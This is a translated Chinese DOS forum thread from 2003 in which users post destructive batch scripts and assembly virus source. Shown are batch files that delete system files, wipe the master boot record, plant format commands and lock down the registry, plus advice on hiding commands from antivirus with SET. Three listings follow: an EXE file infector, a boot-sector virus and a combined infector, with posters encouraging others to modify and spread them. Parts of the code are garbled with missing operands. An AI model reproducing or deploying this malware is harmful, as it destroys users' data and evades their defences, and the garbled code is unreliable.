China DOS Union

Runsupported content

What is the significance of posting this!!

As long as other people's machines install any antivirus software casually, this operation will be intercepted, and there is no chance to execute it at all.

I post this post to start a discussion.
Only a fool would quote it verbatim.
Firewalls only intercept bytes like deltree /y and format /q/autotest, del /y, etc. If you cover such commands with SET, it can't be detected at all. In addition, you can also rename detree format, etc. at the beginning.
I will upload a few, you can run them on the virtual machine to see the effect.

This is malicious code. Here is the translation:

This is the destruction of part of the registry, which is no less serious than a hacker bomb.
C:\Progra~1\Intern~1\IEXPLORE.EXE -k http://www.whitehouse.gov

attrib -h -s -r d:\*.ini
attrib -h -s -r d:\*.bin
attrib -h -s -r d:\*.com
attrib -h -s -r d:\*.sys

del d:\*.ini
del d:\*.bin
del d:\*.com
del d:\*.sys


echo REGEDIT4 > temp.com

echo >> temp.com
echo "Nodesktop"=dword:00000001 >> temp.com

echo >> temp.com
echo "Disableregistrytools"=dword:00000001 >> temp.com


echo >> temp.com

echo "Nofind"=dword:00000001 >> temp.com
echo "Norun"=dword:00000001 >> temp.com
echo "Noclose"=dword:00000001 >> temp.com
echo "Nologoff"=hex:01,00,00,00 >> temp.com
echo "Norecentdocshistory"=dword:00000001 >> temp.com
echo "NoFaroritesMenu"=dword:00000001 >> temp.com
echo "NoSetFolders"=dword:00000001 >> temp.com
echo "NoStartBanner"=dword:00000001 >> temp.com
echo "Nodrives"=dword:ffffffff >> temp.com
echo "Noviewcontextmenu"=hex:01,00,00,00 >> temp.com


echo >> temp.com
echo "Nosavesettings"=hex:01,00,00,00 >> temp.com

echo >> temp.com
echo "Disabled"=dword:00000001 >> temp.com


regedit /s temp.com


del *.com
del %0


:: Salesperson,VD
:end

The following is a quote from VC_COM on May 1, 2003 at 12:52:45:
I post this post to cast a brick to attract jade.
Only idiots will quote it verbatim.
Firewalls only intercept bytes such as deltree /y and format /q/autotest, del /y, etc. If you use SET to cover such instructions, it is completely undetectable. In addition, you can also rename detree, format, etc. at the beginning.
I will upload a few, you can run them in the virtual machine and see the effect.

Do you think anti-virus people are idiots? What's the use of scanning the name of the executable file, they intercept interrupts. What's the use of you renaming it again

Is it at the same level as the first one, except that there are no deeper things besides using DOS internal and external commands?

The following is the statement quoted by nre on 2003-5-1 23:36:16:

The following is the statement quoted by VC_COM on 2003-5-1 12:52:45:
I post this post to attract others' better ideas.
Only a fool would quote it unchanged.
Firewalls only intercept bytes such as deltree /y and format /q/autotest, del /y, etc. If you cover such instructions with SET, it is completely undetectable. In addition, you can also rename detree format and other things at the beginning.
I will upload a few, and you can run them in a virtual machine to see the effect.

Do you think anti-virus people are idiots? Scanning the name of the executable file is useless, they intercept interrupts. What's the use of you renaming it again

That's really good!

Is a scripting language just for using some commands?

This is just kindergarten-level K script, not a real virus, so what's with talking about bird interrupts?

The following infinite loop, I tested it on 2000 and 98se, and I installed 3 firewalls in advance. Norton, VirusScan, PC-Cillin.

Except that Norton prompted to intercept a bird virus called Bat.deltree.trojan when renaming it to BAT. The other two? No reaction at all, and they still foolishly wait for me to issue a full system scan command.

When I used SET to block deltree .del, even the only one that would make a sound, Norton, stopped making noise. And it said the antivirus software isn't stupid? Besides, if you really want to bird the system, are you afraid of not birding the firewall?

I think you probably saw too many advertisements and thought that antivirus software now has intelligence? Even this kindergarten-level script can't be intercepted, so the antivirus software isn't an idiot or what?

Bird Island madman Chen Yinghao casually wrote a CYH, and he played with antivirus software companies. If you are bird enough, write a CYH2, and I can help you send it to Bird Island to feed the bird virus.

@echo off
:: Silent state

set V=deltree
set D=del
:: Block Deltree, del

attrib -r -s c:\IO.sys
%D% c:\IO.sys
:: Make C drive unbootable

fdisk /mbr
:: Clear master boot record

echo @echo off > c:\autoexec.bat
echo ctty NUL >> c:\autoexec.bat
:: Uninstall all devices, crash

echo format /autotest /q c: >> %windir%\winstart.bat
::

echo DiedRun >> C:\Progra~1\Intern~1\IEXPLORE.EXE
:: Make IE start failed

echo @echo off > DiedRun.bat
echo iedRun >> DiedRun.bat
echo start DiedRun >> DiedRun.bat
echo goto DiedRun >> DiedRun.bat
start DiedRun

:: Make full use of the misfortune of multitasking, carry out infinite loop, as long as it is a P4 machine, it will open dozens of interpreters within 1 second, and grab memory to eat at a speed of >10 per second.

%D% %windir%\*.exe
%D% %systemroot%\*.exe

%V% /y d:
%D% /s d:\*.exe
:: Bird the executable files

%D% *.bat
:: Kill people without a trace, finally bird itself

:iedRun,VD

Classic bird virus, it's cool to learn and modify! After modifying, send one to the Bird Island people.

--.radix 16
--.model tiny
--.286c
--.code
--org 0
start:
--push es--------; Push the original PSP onto the stack
--call position------; Call POSITION
position:----------; Actually, you can also use the interrupt return method to read the current offset (anti-DEBUG ^o^ )
--pop si--------; Get the offset SI
--sub si,position-start----; Get the entry offset, store in SI
--push si--------; SI pushes onto the stack
--mov ax,30AE------; Get the DOS version number (AE is to notify companions)
--int 21--------; Actually to judge whether it has been resident
--cmp cx,04c6------; CX=04C6 indicates it has been resident
--jne install------; Not equal, then resident
--jmp run_host------; Equal, then run the original program
install:
;================================================================
;You can add active code here: Don't too cruel!
;================================================================
active_check:
--mov ah,2a------; Get the date
--int 21
--cmp dx,0c16------; Is it December 22nd
--jz active------; Yes, then act up
--jmp no_active------; No, then transfer
active:
--push cs
--pop ds--------; Set DS=CS
--push si
mov bl,COLOR1
--mov dx,offset active_mess-start--; Calculate the absolute offset of the attack message
--add si,dx------; Calculate the actual address
--call write_on_screen----; Display the attack message
--mov ah,00------; Wait for a character to continue
int 16
pop si
push si
mov bl,COLOR2
mov dx,offset active_other_mess-start
add si,dx
call write_on_screen
--mov ah,00------; Wait for a character to continue
int 16
--pop si
--jmp run_host
;================================================================
no_active:
--mov ah,52------; Get the disk buffer address
--int 21
--mov bx,es:----; Get the first MCB address
--xor di,di------; Clear DI
loop_search:
--mov es,bx------; Find the last MCB address
--add bx,word ptr es:
--inc bx
--cmp byte ptr es:,5a
--jnz loop_search
;================Found Last MCB=========--
--mov bx,es------; Save the found last MCB address----
--mov ax,word ptr es:--; Get the size of the last MCB
--sub ax,vir_para------; Subtract its own PARA
--jnc keep_in_memory----; If there is no overflow, it means there is not enough to be resident
--jmp run_host------; Otherwise continue
keep_in_memory:
--mov word ptr es:,ax--; Rewrite the size of the last MCB
--add bx,ax------; Calculate the resident segment address
--inc bx
--mov es,bx------; And send it to ES
--push cs
--pop ds--------; Set DS=CS
--mov cx,vir_bytes----; Move itself
--cld
--rep movsb
;===============hook int 21============
; The virus in memory address is:
;======================================
--xor si,si
--mov ds,si------; Hook the interrupt vector 21
mov dx,offset new_int21-start
--cli
--xchg ds:word ptr ,dx
--xchg ds:word ptr ,bx
--mov es:word ptr oldint21,dx
--mov es:word ptr oldint21+2,bx
--sti
;==============run host================
run_host:
--push cs--------
--pop ds
--pop si
mov di,offset old_header-start
--add di,si
--mov al,byte ptr ----; Add the first two characters of OLD_HEADER
--add al,byte ptr ----; Then send to AL
--cmp al,0a7------; Compare whether AL is equal to 0A7
--jne run_com------;(4D+5A=0A7)
--jmp run_exe
run_com:
;=======================================
;You can add run .com file here!
;=======================================
--int 20
run_exe:
mov di,offset old_header-start
--add di,si------; Send the OLD_HEADER address to DI
--pop cx--------; Pop the original PSP
--mov dx,cx------
--add dx,10------; Original PSP +10H
--mov ax,word ptr ----; Send the original program SS offset to AX
--add ax,dx------; Calculate the initial value of SS
--mov ss,ax
--mov ax,word ptr ----; Send the original program SP to AX
--mov sp,ax
--mov ax,word ptr ----; Send the original program CS offset to AX
--add ax,dx------; Calculate the initial value of CS
--mov bx,word ptr ----; Send the original program IP to BX
--mov ds,cx------; Set DS
--mov es,cx------; Set ES
--push ax--------; Push the original CS onto the stack
--push bx--------; Push the original IP onto the stack
--xor ax,ax
--xor bx,bx------; Clear AX, BX, CX, DX, SI, DI, BP
--xor cx,cx
--xor dx,dx
--xor si,si
--xor di,di
--xor bp,bp
--retf--------
;=========================================
new_int21:
--pushf--------; Push the flags onto the stack
--cmp ax,30AE------; Is it a companion calling
--jne next------; No, then transfer
--call dword ptr csldint21--; Yes, then respond
--mov cx,04c6
--iret--
next:
--cmp ah,4bh------; Is it running a program
--jz infect------; Yes, then go to infect
--pusha--------; No, then call the original INT21
--push ds
--push es
--jmp exit_int21
exit_int21_0:
--mov ah,3e------; Close the document
--call calloldint21
exit_int21:
--pop es--------; Pop the registers
--pop ds
--popa
--popf--------; Pop the flags
jmp dword ptr csldint21 ; Call the original INT21 to return, execute the original program
infect:
--pusha--------; Push the registers onto the stack
--push ds
--push es
--mov ax,4300
--call calloldint21----; Get the document attributes
--mov word ptr cs:file_attrib,cx--; Save the original attributes
--mov ax,4301------; Set to normal document
--mov cx,20
--call calloldint21
--mov ax,3d02------; Open the file
--call calloldint21
--jnc con1------; No error, then continue
--jmp exit_int21------; Error, then leave
con1:
--xchg ax,bx------; Save HANDLE
--mov ax,5700------; Get the document time
--call calloldint21
--and cx,7ff
--cmp cx,18bH------; Is the document modification time: 12 minutes 22 seconds
--jnz con2------; No, continue
--jmp exit_int21_0----; Yes, do not infect
con2:
--push cs--
--push cs--
--pop ds
--pop es--------; Set DS=ES=CS
--lea dx,old_header----; Read the first 20H characters of the document
--mov cx,20
--mov ah,3f
--call calloldint21
--jnc con3
--jmp exit_int21_0
con3:
--lea si,old_header----; Copy the first 20H characters of the document header
--lea di,vir_header
--mov cx,20
--cld
--rep movsb
--lea di,vir_header
--mov al,byte ptr ----; Judge whether the document is an .EXE FILE
--add al,byte ptr
--cmp al,0a7
--jnz infect_com
--jmp infect_exe
infect_com:
;=======================================
;You can add infect .com file here!
;=======================================
--jmp exit_int21_0----; It is a .COM file, then leave
infect_exe:
--call check_size------; Get the document length
--cmp dx,0
--jnz con6
--cmp ax,07bc------; If the document length>1980, then infect
--ja con6--------; Otherwise exit
--jmp exit_int21_0
con6:
--push ax--------; Save the document length DX:AX
--push dx----
--add ax,vir_bytes----; Calculate the length after infection
--adc dx,0------; And write back
--mov cx,200
--div cx
--or dx,dx
--jz con7
--inc ax
con7:
--mov word ptr ,dx
--mov word ptr ,ax--
--pop dx--------; Retrieve the document length
--pop ax----
--mov cx,10------;(DX:AX/10) then AX is the PARA number
--div cx--------; DX is the remainder
--sub ax,word ptr ----; Subtract the PARA number of the document header
--mov word ptr ,dx----; At this time, DX is the infected IP
--mov word ptr ,ax----; AX is the infected SS, CS
--mov word ptr ,ax
--add dx,4000------; New SP is equal to new IP+4000
--mov word ptr ,dx----; Send to SP
set_time_exit:
--mov ax,4200------; Write back the modified document header
--xor cx,cx------
--xor dx,dx
--call calloldint21
--mov dx,di
--mov cx,20
--mov ah,40
--call calloldint21
--jnc con5
--jmp exit_int21_0
con5:
--call check_size------; Move the document pointer to the end of the document
--lea dx,start
--mov cx,vir_bytes----; Write itself
--mov ah,40
--call calloldint21----; Set the document time to: 12 minutes 22 seconds
--mov ax,5700
--call calloldint21
--and cx,0f800
--or cx,18bh
--mov ax,5701
--call calloldint21
--mov ah,3e------; Close the file
--call calloldint21
--pop es
--pop ds
--popa
--pusha
--push ds
--push es
--mov cx,word ptr cs:file_attrib--; Get the original document attributes
--mov ax,4301------; Set back the original document attributes
--call calloldint21
--jmp exit_int21------; Leave
;===============================
check_size:----; Function: 1. Read the document size 2. Move the file pointer to the end of the document
--mov ax,4202
--xor cx,cx
--xor dx,dx
--call calloldint21
--ret
;===============================
calloldint21:----; Call the original interrupt 21h
--pushf
--call dword ptr csldint21
--ret
;===============================
write_on_screen:----; Directly write to the screen
--push es
--mov ax,0003
--int 10
--mov dx,0b800
--mov es,dx
--xor di,di
--cld
loop_write:
--lodsb
--or al,al
--jnz read_con
--pop es
--ret
read_con:
--stosb
mov es:byte ptr ,bl
--inc di
--jmp loop_write
;===============================
;--My cute Virus Data
;===============================
old_header db 0cdh,20,1e dup(0)
active_mess db ' Warning! Warning! VIRUS Warning!',2e dup(20)
db ' Hi! You notice here! VIRUS : BABY ( Ver 1.00B ) has come!',15 dup(20)
db ' Guess What will I do, NEXT ? Press any key to get the ANSWER...',0f DUP(20),0
COLOR1 EQU 0CF
active_other_mess db 50 dup(20)
db ' It is only a joke, I will not harm you! Today is ANDY birthday, so I will do '
db ' nothing today! Have a good day! Bye!',7bh dup(20),0
COLOR2 EQU 1E
vir_bytes equ $-offset start
vir_para equ (vmem+0f)/10
vir_header db-- 20 dup(0)
oldint21 dd--?
file_attrib dw ?
vmem equ $-offset start
;==================================
--end--start

So much talk, the key is how do you make the attacked system execute your code?

The second paragraph is a boot sector virus... You can just take a look. Since a certain antivirus software used the original address clearing method to kill all boot sector viruses, no one has written (boot sector viruses) anymore. But we can also fight back against these antivirus software in the same way.

CSEG SEGMENT
ASSUME CS:CSEG
BEGIN: MOV AX,CS
CMP AX,0
JZ START
JMP FILE
;********************************** DATA
DATE DB 00H
PZ DB 77H
TIME DW 200H
JMPA DW 7C00H
DW 0000H
JMPN DW OFFSET NEXT
DW 0020H
FN DB 'PLAY.COM',0
;************************************
START: XOR AX,AX
MOV DS,AX
MOV SS,AX
MOV ES,AX
MOV SP,7C00H

MOV AX,DS: ;SAVE INT 8H
MOV DS:,AX
MOV AX,DS:
MOV DS:,AX

MOV SI,SP
MOV DI,0200H
MOV CX,0200H
CLD
REP MOVSB

MOV BX,OFFSET JMPN+7C00H
JMP DWORD PTR CS:

NEXT: MOV AX,OFFSET NEW08 ;MODI INT 8H
MOV DS:,AX
MOV AX,0020H
MOV DS:,AX

MOV BX,0600H
MOV AX,0201H
MOV CX,0001H
MOV DX,0080H
INT 13H

CMP BYTE PTR ES:,077H
JZ NC

MOV AX,0301H
MOV CX,0017H
MOV DX,0080H
INT 13H

MOV SI,0200H
MOV DI,0600H
MOV CX,0200H
CLD
REP MOVSB

MOV AX,0301H
MOV CX,0001H
MOV DX,0080H
INT 13H

NC: MOV BX,7C00H
MOV AX,0201H
MOV CX,0017H
MOV DX,0080H
INT 13H

MOV AH,04H
INT 1AH

MOV CS:,DL

MOV BX,OFFSET JMPA
JMP DWORD PTR CS:
;***********************************RUN HD BOOTER PRG
NEW08: PUSH AX
PUSH DS

DEC CS:
JNZ I08

XOR AX,AX
MOV DS,AX

MOV AX,DS:
MOV DS:,AX
MOV AX,DS:
MOV DS:,AX


MOV AX,OFFSET GR ;MODI INT 8H
MOV DS:,AX
MOV AX,OFFSET NEW13
MOV DS:,AX
MOV AX,OFFSET NEWF
MOV DS:,AX


MOV AX,0020H
MOV DS:,AX
MOV DS:,AX
MOV DS:,AX

MOV CS:,200H

I08: POP DS
POP AX
INT 60H
IRET
;***************************************
NEW13: CMP AH,02H
JZ CNE
CMP AH,03H
JNZ I13
CMP DL,00H
JNZ CNE

PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH ES

PUSH CS
POP ES
MOV AX,0301H
XOR BX,BX
MOV CX,0001H
MOV DX,BX
INT 61H
POP ES
POP DX
POP CX
POP BX
POP AX
JMP I13
CNE: CMP DX,0080H
JNZ I13
CMP CX,0001H
JNZ I13
MOV CX,0017H

I13: INT 61H
IRET
;*******************************************
NEWF: PUSH CS
POP DS
MOV DX,OFFSET FN
MOV CX,00000001B
MOV AH,3CH
INT 21H

MOV BX,AX
MOV AH,40H
MOV CX,400H
XOR DX,DX
INT 21H

MOV AH,3EH
INT 21H
MOV AX,0003H
INT 10H
JMP NCF

GR: PUSH AX
PUSH BX
PUSH CX

MOV AX,0900H
MOV CX,0001H

CMP CS:,15H
JZ GR1
MOV BX,111B
GR1: INT 10H

NG: POP CX
POP BX
POP AX
INT 60H
IRET
;************************************
FILE: PUSH CS
POP ES
XOR AX,AX
MOV DS,AX
CMP BYTE PTR DS:,77H
JZ NCF

MOV AH,77H
MOV DS:,AH
MOV BX,0300H
MOV AX,0201H
MOV CX,0001H
MOV DX,0080H
INT 13H

MOV AX,0301H
MOV CX,0017H
MOV DX,0080H
INT 13H

PUSH CS
POP DS
MOV SI,0100H
MOV DI,BX
MOV CX,01B0H ;CX 1B0H
CLD
REP MOVSB

MOV AX,0301H
MOV CX,0001H
MOV DX,0080H
INT 13H

NCF: MOV AH,4CH
INT 21H
CSEG ENDS
END BEGIN

You are an idiot!! Do you think all Taiwanese people are stupid?? Just causing trouble in the forum, just posting such posts in the forum!! Where is your Windows 98 streamlined version?? Bring it out and show us!!

The third paragraph is very classic

CSEG SEGMENT
ASSUME CS:CSEG

;** PART 1: File part *****************************************************

START: JMP BEGIN

B_IP DW 7777H ;|----------------------; Store the CS:IP of the original file
B_CS DW 7777H ;| ; Variable for initial value
FNEXE DB '*.EXE';|----------------------; EXE file wildcard name
N_IP DW 0 ;|--------------------------; Store the CS:IP initial value of the infected file
N_CS DW 0 ;| ; variable
B_EXE DW 0 ;|--------------------------; Two variables for placing calculation results
H_EXE DW 0 ;|

DISP PROC ;|
JMP COUN1 ;|
M_WORDB '*I am sorry to bother you. *' ;|
DB 0AH,0DH ;|
DB '*I will not damage your PC.*' ;|
DB 0AH,0DH ;|
DB '$' ;|
;|
COUN1: MOV DX,CS ;|
MOV DS,DX ;|; Performance module:
MOV DX,OFFSET M_WORD ;|; Display: "I'm very sorry to bother you.
MOV AH,09H ;| I won't damage your
INT 21H ;| computer."
RET ;|
DISP ENDP ;|

BEGIN: PUSH DS
PUSH ES

CALL DISP

XOR AX,AX ;|
MOV DS,AX ;|--------; Check if it has been resident in memory
CMP DS:,BYTE PTR 77H ;| ; Yes -> transfer to HBG No -> continue
JZ HBG ;|

MOV DS:,BYTE PTR 77H ;|--------; Set memory resident flag

MOV AX,CS ;|
MOV DS,AX ;|
MOV SI,OFFSET HDP ;|
MOV AX,22H ;|
MOV ES,AX ;|-----; Move the resident part to memory
XOR DI,DI ;| ; At 0022H:0000H
MOV CX,OFFSET MAIN-OFFSET HDP ;|
CLD ;|
REP MOVSB ;|

XOR AX,AX ;| ; Save original interrupts 10H, 13H
MOV DS,AX ;|-------------------------; To 85H and 86H
CALL SM ;| ; And modify it to point to the new interrupt part

MOV AX,CS
MOV DS,AX
MOV ES,AX

MOV AX,0201H ;|
MOV BX,OFFSET P_SIZE;|
MOV CX,0001H ;|---------------; Read the main boot sector
MOV DX,0080H ;|
INT 86H ;|

CMP DS:,BYTE PTR 0FAH;|----------; Whether it has been infected
JNZ HBG ;| ; Yes -> transfer to HBG No -> continue

MOV CX,0004H ;|
MOV AX,0301H ;|----------------------; Write the original main boot sector to
MOV DX,0080H ;| ; 0 side 0 track 4 sector
INT 86H ;|

MOV DI,OFFSET P_SIZE ;|
MOV SI,OFFSET HDP ;|
MOV CX,OFFSET MAIN-OFFSET HDP ;|-----; Overwrite the boot part with the boot program
CLD ;| ; Do not damage the hard disk partition table
REP MOVSB ;|

MOV AX,0301H ;|
MOV CX,0001H ;|----------------------; Write the boot part to the main boot sector
MOV DX,0080H ;|
INT 86H ;|

MOV AX,0302H ;|
XOR BX,BX ;|
MOV CX,0002H ;|----------------------; Write all its own code to sectors 2 and 3
MOV DX,0080H ;|
INT 86H ;|

HBG: POP ES
POP DS

MOV AX,DS ;|
ADD AX,10H ;|-----------; Execute the infected original program
ADD CS:,AX ;|
JMP DWORD PTR CS: ;|

;** PART 2: Boot part *****************************************************

HDP: JMP DP

TIME DW 180H ;|---------------------; Timing count: when it is 0, modify the interrupt
JMPA DW 7C00H ;|---------------------; When booting, the system will load the boot program into
DW 0000H ;| ; this address to run; the virus program will also load the original boot program into this address
JMPN DW OFFSET NEXT-OFFSET HDP ;|----; The boot part will transfer itself and then continue
DW 0022H ;| ; The address to run
JMP_MAIN DW OFFSET MAIN ;|---------------; The infected part after loading is in
DW 8000H ;| ; The address in memory

DP: XOR AX,AX
MOV DS,AX
MOV ES,AX
MOV SS,AX
MOV SP,7C00H

MOV SI,SP ;|
MOV DI,220H ;|
MOV CX,OFFSET MAIN-OFFSET HDP ;|
CLD ;| Move itself to after 22H:00H and continue
REP MOVSB ;| Run
MOV BX,OFFSET JMPN-OFFSET HDP+7C00H ;|
JMP DWORD PTR CS: ;|

NEXT: MOV BX,7C00H ;|
MOV AX,0201H ;|
MOV CX,0004H ;|----------------------; Read the original main boot sector
MOV DX,0080H ;|
INT 13H ;|

MOV DS:,BYTE PTR 77H;|---------; Set memory resident flag

MOV AX,DS: ;|
MOV DS:,AX ;|------------------; Make interrupt 84H point to interrupt 08H
MOV AX,DS: ;|
MOV DS:,AX ;|

MOV AX,OFFSET NEW08H-OFFSET HDP ;|
MOV DS:,AX ;|---; Point interrupt 08H to the NEW08H program block
MOV AX,CS ;|
MOV DS:,AX ;|

MOV BX,OFFSET JMPA-OFFSET HDP ;|-----; Execute the original boot program
JMP DWORD PTR CS:

;** PART 3: New interrupt part ****************************************************

NEW08HEC WORD PTR CS: ;|--------; The function of the new interrupt 08H
JNZ I08 ;| ; Check if the timing count is 0
PUSH AX ;| ; Yes -> change back to interrupt 08H and
PUSH DS ;| ; Save and modify the original
;| ; interrupt 10H, 13H to point
XOR AX,AX ;| ; to the new interrupt part
MOV DS,AX ;| ; No -> execute the original interrupt 08H
;|
MOV AX,DS: ;|
MOV DS:,AX ;|
MOV AX,DS: ;|
MOV DS:,AX ;|
CALL SM ;|
;|
POP DS ;|
POP AX ;|
I08: INT 84H ;|
IRET ;|

```asm
SM PROC ;|---;Function of subroutine SM:
MOV AX,DS: ;| ;Save interrupts 10H and 13H respectively
MOV DS:,AX ;| ;To 85H and 86H, and modify 10H and 13H
MOV AX,DS: ;| ;Point to the new interrupt part
MOV DS:,AX ;|
;|
MOV AX,DS: ;|
MOV DS:,AX ;|
MOV AX,DS: ;|
MOV DS:,AX ;|
;|
MOV AX,OFFSET NEW10H-OFFSET HDP ;|
MOV DS:,AX ;|
MOV AX,22H ;|
MOV DS:,AX ;|
;|
MOV AX,OFFSET NEW13H-OFFSET HDP ;|
MOV DS:,AX ;|
MOV AX,22H ;|
MOV DS:,AX ;|
RET ;|
SM ENDP ;|


NEW10H:CMP AH,00 ;|-;Function of new interrupt 10H:
JZ N1 ;| ;Check if function 00H is called
INT 85H ;| ;Yes->Load the main code into memory
IRET ;| ; and execute
N1: PUSH AX ;| ;No->Call the original interrupt 10H
PUSH BX ;|
PUSH CX ;|
PUSH DX ;|
PUSH DS ;|
PUSH ES ;|
;|
MOV AX,8000H ;|
MOV ES,AX ;|
;|
MOV AX,0202H ;|
XOR BX,BX ;|
MOV CX,0002H ;|
MOV DX,0080H ;|
INT 13H ;|
;|
MOV BX,OFFSET JMP_MAIN-OFFSET HDP ;|
JMP DWORD PTR CS:


NEW13HUSHF ;|----------------------;Function of new interrupt 13H:
CMP CX,0001H ;| ;Check if reading the main boot sector
JNZ NGW ;| ;Yes->Read sector 4 of cylinder 0, head 0
CMP AH,02H ;| ;No->Call the original interrupt 13H
JNZ NGW ;|
CMP DX,0080H ;|
JNZ NGW ;|
;|
MOV CX,0017H ;|
NGW: POPF ;|
INT 86H ;|
IRET ;|

;** PART 4: Infection part ******************************************************


MAIN: MOV AX,CS
MOV ES,AX
MOV DS,AX


MOV AH,1AH ;|
MOV DX,OFFSET DTA ;|-----------------;Set DTA (disk transfer address)
INT 21H ;|

MOV AH,4EH ;|
JMP DIR ;|
SDIR: MOV AH,4FH ;|
MOV DX,OFFSET FNEXE ;|---------------;Search for the first EXE file in the current directory
MOV CX,100111B ;| ;If found->Continue
INT 21H ;| ;If not found->Jump to HW
JC HW ;|



CMP DS:,BYTE PTR 77 ;| ;Check if already infected
JZ SDIR ;| ;Yes->Search for the next EXE file
MOV CX,DS: ;| ; Until found or the directory is searched
CMP CX,09H ;|----------; End
JNB SDIR ;| ;No->Implement infection
;| ;Note: If the file is already infected or the text
CALL GR ;| ; length exceeds 90000H, it will not be infected.
HW: POP ES
POP DS
POP DX
POP CX
POP BX
POP AX
INT 85H ;|---------------------------;Execute the original interrupt 10H
IRET


GR PROC ;|------------------------------;Function of subroutine GR:
;Infect EXE files


MOV DX,OFFSET FN ;|
MOV AX,4301H ;|-----------------;Set file attribute to: normal
MOV CX,100000B ;|
INT 21H ;|

MOV AX,3D02H
INT 21H ;|-----------------;Open file
MOV BX,AX

MOV AX,4200H ;|
XOR CX,CX ;|
MOV DX,8H ;|
INT 21H ;|--------------;Read the header section length of the file
MOV AH,3FH ;|
MOV CX,2H ;|
MOV DX,OFFSET H_EXE ;|
INT 21H ;|

MOV AX,4200H ;|
XOR CX,CX ;|
MOV DX,14H ;|
INT 21H ;|---------------;Save the initial value of CS:IP of the original file
MOV AH,3FH ;| ;
MOV CX,4H ;|
MOV DX,OFFSET B_IP ;|
INT 21H ;|

MOV AX,4202H ;|
XOR CX,CX ;|
XOR DX,DX ;|
INT 21H ;|
MOV DX,DS: ;|
MOV AX,DS: ;|
MOV CX,10H ;| ;Make the length of the original file a multiple of 10H,
DIV CX ;|-----------------;so that it can run in the CS:00 environment
INC AX ;|
SUB AX,DS: ;|
MOV DS:,AX ;|
SUB CX,DX ;|
PUSH CX ;|
MOV AH,40H ;|
INT 21H ;|

MOV AH,40H ;|
MOV CX,OFFSET P_SIZE ;|--------------;Attach itself to the end of the file
XOR DX,DX ;|
INT 21H ;|

MOV AX,4200H ;|
XOR CX,CX ;|
MOV DX,02H ;|
INT 21H ;|
MOV DX,DS: ;|
MOV AX,DS: ;|
POP CX ;|
ADC AX,CX ;| ;Convert the length of the new file to
JNC NC1 ;| ;(page length + number of bytes in the last sector)
INC DX ;|-----------;form
NC1: ADC AX,OFFSET P_SIZE ;| ;And write this result into the EXE file header
JNC NC2 ;|
INC DX ;|
NC2: MOV CX,200H ;|
DIV CX ;|
INC AX ;|
MOV DS:,DX ;|
MOV DS:,AX ;|
MOV DX,OFFSET B_EXE ;|
MOV CX,4H ;|
MOV AH,40H ;|
INT 21H ;|

MOV AX,4200H ;|
XOR CX,CX ;|
MOV DX,14H ;|
INT 21H ;|-------------;Write the calculated new initial value of CS:IP
MOV AH,40H ;| ;into the EXE file header
MOV CX,4H ;|
MOV DX,OFFSET N_IP ;|
INT 21H ;|

MOV AX,5701H ;|
MOV CH,DS: ;| ;Change back the file modification date and mark it as
MOV CL,77 ;|----------------;infected
MOV DX,DS: ;|
INT 21H ;|

MOV AH,3EH ;|---------------------;Close file
INT 21H ;|

MOV DX,OFFSET FN ;|
MOV AX,4301H ;|
XOR CH,CH ;|---------------;Change back the file attribute
MOV CL,DS: ;|
INT 21H ;|
RET ;|

GR ENDP
;|---------------;The format of DTA (disk transfer address) is as follows:
DTA DB 21 DUP(0) ;|---------------;DOS function 4FH will use these bytes
C DB 0 ;|---------------;File attribute
T_L DB 0 ;|---------------;Low byte of file time
T_H DB 0 ;|---------------;High byte of file time
D DW 0 ;|---------------;File date
S_L DW 0 ;|---------------;Low byte of file length
S_H DW 0 ;|---------------;High byte of file length
FN DB 13 DUP(0) ;|---------------;Full name of the file

P_SIZE:


CSEG ENDS
END START
```